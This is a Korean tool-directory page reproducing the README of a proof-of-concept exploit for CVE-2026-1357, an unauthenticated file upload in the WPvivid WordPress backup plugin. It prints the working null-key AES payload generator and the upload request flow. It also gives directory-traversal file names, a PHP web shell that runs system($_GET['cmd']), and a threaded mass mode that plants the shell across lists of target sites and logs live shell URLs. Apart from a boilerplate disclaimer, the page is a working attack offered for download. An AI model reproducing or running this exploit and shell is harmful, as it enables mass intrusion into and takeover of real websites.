Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - 인증되지 않은 임의 파일 업로드 | Kitploit
도구/GitHubGitHub/nxploited/cve-2026-1357
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - 인증되지 않은 임의 파일 업로드

저장소 보기
15개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🧨 CVE-2026-1357 – WPvivid Null-Key 익스플로잇 도구 (CVE-2026-1357.py)

마이그레이션, 백업, 스테이징 – WPvivid Backup & Migration ≤ 0.9.123
취약점: 인증되지 않은 임의 파일 업로드 → 원격 코드 실행
CVE: CVE-2026-1357 – CVSS 9.8 (치명적)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 이 스크립트의 기능

Nxploited

CVE-2026-1357.py는 WPvivid 취약점을 위한 개념 증명(PoC) 익스플로잇 도구입니다. 공격자가 다음을 수행할 수 있게 하는 결함이 있는 AES 세션 처리를 중심으로 합니다:

  1. WPvivid가 기대하는 것과 동일한 형식으로 널 AES 키/IV(모두 0바이트)로 페이로드를 암호화합니다.
  2. 임의 파일 콘텐츠(예: PHP 셸)와 선택한 파일명/경로(name)를 페이로드에 포함시킵니다.
  3. wpvivid_action=send_to_site 매개변수를 통해 이 페이로드를 WPvivid 엔드포인트로 전송합니다.
  4. (선택 사항) 파일이 성공적으로 기록되었고 접근 가능한지 확인합니다.

이 스크립트는 개인 키를 직접 추측하거나 악용하려고 시도하지 않습니다. 대신 실패한 openssl_private_decrypt()로 인해 phpseclib의 AES 암호가 널 키로 초기화되는 WPvivid의 손상된 흐름을 시뮬레이션합니다.


🧠 기술적 내부 구조

🔐 AES 널 키 페이로드

익스플로잇의 핵심은 gen_wpvivid_payload()에 있습니다:

  • JSON 구조를 생성합니다:

    root@kitploit:~
    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • 이 JSON을 직렬화합니다(공백 없는 압축 형식).

  • 다음을 사용하여 JSON을 암호화합니다:

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • 그런 다음 앞에 다음을 추가합니다:

    • 3바이트: "000" (정적 길이 필드 자리 표시자)
    • 16바이트 대문자 16진수: 암호문 길이를 "{len(cipher):016X}"로 인코딩한 값
  • 최종 암호화 블롭은 다음과 같습니다:

    root@kitploit:~
    "000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
    
  • 이 블롭은 base64로 인코딩되어 최종 wpvivid_content 값으로 반환됩니다.

함수:

root@kitploit:~
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

이는 RSA 복호화 실패 후 취약한 코드 경로에서 WPvivid의 복호화 기대 사항과 일치합니다.


🧰 기능 및 모드

이 스크립트에는 두 가지 주요 모드와 대량 테스트 기능이 있습니다:

  1. mood1 – 페이로드 생성기

    • 널 키 트릭을 사용하여 유효한 wpvivid_content 값을 생성합니다.
    • 파일 콘텐츠를 정의하는 여러 방법을 지원합니다.
    • 선택적으로 대상 목록에 대해 대량 테스터를 실행합니다.
  2. mood2 – 단일 대상 테스터

    • 이전에 생성된 페이로드를 사용합니다.
    • 단일 대상을 종단 간 테스트합니다:
      • 페이로드를 전송합니다.
      • 예상되는 결과 파일 URL을 구성합니다.
      • 파일에 접근 가능한지 확인합니다.
  3. 대량 모드 (mood1에서)

    • 선택한 페이로드를 목록 파일의 여러 대상에 전송합니다.
    • 동시성과 진행률 표시줄을 사용합니다.
    • 성공적인 업로드를 추적하고 기록합니다.

🚦 스크립트 실행

root@kitploit:~
python3 CVE-2026-1357.py

배너와 모드 선택이 있는 Rich 기반 UI가 표시됩니다:

  • mood1 – 페이로드 생성기
  • mood2 – 단일 대상 테스터

🧪 모드: mood1 – 페이로드 생성기

목적

  • 다음을 인코딩하는 익스플로잇 페이로드(wpvivid_content)를 생성합니다:
    • WPvivid가 기록하길 원하는 파일 경로/이름
    • 파일 콘텐츠 (셸, 테스트 파일 등)

흐름

  1. 모드 선택

    프롬프트가 표시되면:

    root@kitploit:~
    Choose mode (mood1/mood2) [mood1]:
    

    Enter를 누르거나(mood1로 기본 설정) mood1을 입력합니다.

  2. 대상 파일명 / 경로

    다음을 묻습니다:

    root@kitploit:~
    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    예시:

    • WPvivid 백업 디렉터리에 파일을 넣으려면:

      root@kitploit:~
      Nx_.php
      
    • 디렉터리 트래버설을 악용하려면(대상이 허용하는 경우):

      root@kitploit:~
      ../../public_html/Nx_.php
      

    이 값은 JSON 페이로드의 name 필드로 들어갑니다.

  3. 콘텐츠 입력 모드

    스크립트는 파일 콘텐츠를 정의하는 세 가지 방법을 표시합니다:

    • 모드 1: 한 줄 콘텐츠.
    • 모드 2: 여러 줄 콘텐츠(EOF로 끝남).
    • 모드 3: 로컬 파일에서 읽기(예: shell.php).

    프롬프트가 표시됩니다:

선택 사항: mood1의 대량 모드

페이로드를 생성한 후 스크립트가 묻습니다:

root@kitploit:~
Auto-send this payload to targets list (mass mode)? (y/N):

y로 답하면 방금 만든 페이로드와 파일명으로 대량 모드를 시작합니다.


🌐 대량 모드 – 다중 대상

목적

  • 단일 익스플로잇 페이로드를 대상 목록에 대해 테스트합니다.

흐름

  1. 대상 파일

    예시 프롬프트:

    root@kitploit:~
    Targets list file (one URL per line):
    

    파일의 예상 형식(예: targets.txt):

    root@kitploit:~
    https://site1.com
    site2.com
    http://site3.net
    

    스크립트는 기본 URL을 자동으로 정규화합니다(누락된 스킴 추가).

  2. 스레드 수

    root@kitploit:~
    Threads (concurrent sites) [5]:
    

    병렬로 처리할 사이트 수를 제어합니다.

  3. 대상별 로직

    각 대상에 대해:

    • URL 정규화 → base_url.

    • 호출:

      root@kitploit:~
      send_wpvivid_payload(base_url, payload)
      

      이 함수는:

      • wpvivid_action=send_to_site + wpvivid_content=<payload> POST를 구성합니다.
      • 조정된 연결 풀 설정으로 새 세션을 통해 전송합니다.
      • 응답에 {"result":"success"}(압축 형식 검사)가 포함되어 있는지 확인합니다.
    • 업로드가 성공한 것으로 간주되면:

      • shell_url을 다음과 같이 구성합니다:


🧪 모드: mood2 – 단일 대상 테스터

목적

  • 기존 페이로드(wpvivid_payload.txt 또는 외부 소스에서)를 단일 URL에 대해 사용하고 결과 파일을 검증합니다.

흐름

  1. 대상 URL

    프롬프트:

    root@kitploit:~
    Target base URL (e.g., https://site.com):
    

    예시:

    root@kitploit:~
    https://victim.com
    

    스크립트는 이를 다음과 같은 기본 URL로 정규화합니다:

    root@kitploit:~
    https://victim.com
    
  2. 파일 이름

    프롬프트:

    root@kitploit:~
    Expected file name (e.g., Nx_.php):
    

    이는 WPvivid가 기록하리라 예상하는 이름/경로입니다(페이로드의 name 필드에 인코딩한 값과 일치).

  3. 페이로드 입력

    프롬프트:

    root@kitploit:~
    Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
    
    • wpvivid_content=...로 시작하는 전체 줄을 붙여넣으면 접두사를 제거합니다.
    • base64만 붙여넣으면 그대로 사용합니다.
  4. 실행

    스크립트는:

    • wpvivid_action=send_to_site + wpvivid_content를 사용하여 POST를 전송합니다.

    • 응답이 성공을 나타내면 다음을 구성합니다:

      root@kitploit:~

이 모드는 수동/랩 테스트에 이상적이며 페이로드를 세밀하게 제어하면서 단일 사이트를 테스트할 수 있습니다.


📁 출력 파일

  • wpvivid_payload.txt

    • mood1에서 기록됩니다.
    • 다음을 저장합니다:
      • file_name=<file_name_you_chose>
      • wpvivid_content=<payload>
  • Nx_.txt

    • mood1(대량 모드) 및 mood2에서 기록됩니다.
    • 업로드가 성공한 것으로 보이는(선택적으로 검증된) 성공적인 파일 URL을 한 줄에 하나씩 포함합니다.

⚠️ 면책 조항

이 도구는 다음 목적으로만 사용됩니다:

  • 통제된 환경에서의 보안 연구.
  • 소유하거나 테스트에 대한 명시적 서면 허가를 받은 시스템 테스트.
  • CVE-2026-1357에 대한 수정 및 탐지 조치 검증.

이 스크립트를 사용함으로써 귀하는 다음에 동의합니다:

  • 적용 가능한 모든 법률을 준수할 책임은 사용자에게 있습니다.
  • 적절한 승인 없이 시스템에 사용하지 않을 것.
  • 작성자(Nxploited)는 이 도구 사용으로 인해 발생하는 오용, 손해, 법적 문제 또는 사고에 대해 책임을 지지 않습니다.

이 도구는 본인의 책임 하에 그리고 합법적인 보안 테스트를 위해서만 사용하십시오.


✍️ 작성자 및 연락처

  • 작성자: Nxploited (Khaled Alenazi)
  • GitHub: https://github.com/Nxploited
  • Telegram: @KNxploited

업데이트, 도구 및 보안 연구 콘텐츠를 보려면 Telegram 채널을 팔로우하세요:
👉 @KNxploited

도구 다운로드
root@kitploit:~
Mode [1/2/3] [1]:
  • 모드 1 – 한 줄

    root@kitploit:~
    Single line content:
    

    입력 예:

    root@kitploit:~
    <?php phpinfo();
    
  • 모드 2 – 여러 줄

    root@kitploit:~
    Enter file content, line by line. Type 'EOF' on its own line when done.
    

    여러 줄 PHP 스크립트를 붙여넣거나 입력한 후 EOF를 한 줄에 입력하여 끝낼 수 있습니다:

    root@kitploit:~
    <?php
    echo "Nxploited shell";
    system($_GET['cmd'] ?? 'id');
    ?>
    EOF
    
  • 모드 3 – 로컬 파일

    root@kitploit:~
    Local file path (e.g., shell.php):
    

    스크립트는 전체 파일을 file_bytes로 읽습니다.

  • 페이로드 생성

    콘텐츠가 캡처되면 스크립트는:

    • JSON 객체를 생성합니다.
    • 널 키 AES-CBC로 암호화합니다.
    • 바이너리 블롭을 래핑합니다.
    • base64로 인코딩합니다.

    다음과 같은 출력이 표시됩니다:

    root@kitploit:~
    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    그리고 wpvivid_payload.txt 파일이 기록됩니다:

    root@kitploit:~
    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    
  • root@kitploit:~
    f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
    
  • Nx_.txt에 저장합니다.

  • verify_written_file()을 시도합니다:

    • shell_url에 GET 요청을 보냅니다.
    • status_code == 200이면 검증된 것으로 표시합니다.
  • 오류가 발생하면:

    • 스크립트는 short_reason()을 통해 이유를 분류합니다:
      • TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR.
  • UI

    • Rich 진행률 표시줄이 전체 진행 상황과 경과 시간을 표시합니다.
    • 각 사이트는 다음을 출력합니다:
      • 성공 시 [OK] <shell_url>.
      • 오류 시 [FAIL] <base> (reason: ...).
      • 업로드는 성공했지만 검증에 실패한 경우 [!] Not verified (...).
  • <base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>

    그리고 해당 URL과 함께 [OK]를 출력합니다.

  • 성공한 URL을 Nx_.txt에 추가합니다.

  • verify_written_file()을 통해 검증을 시도하고 결과를 출력합니다.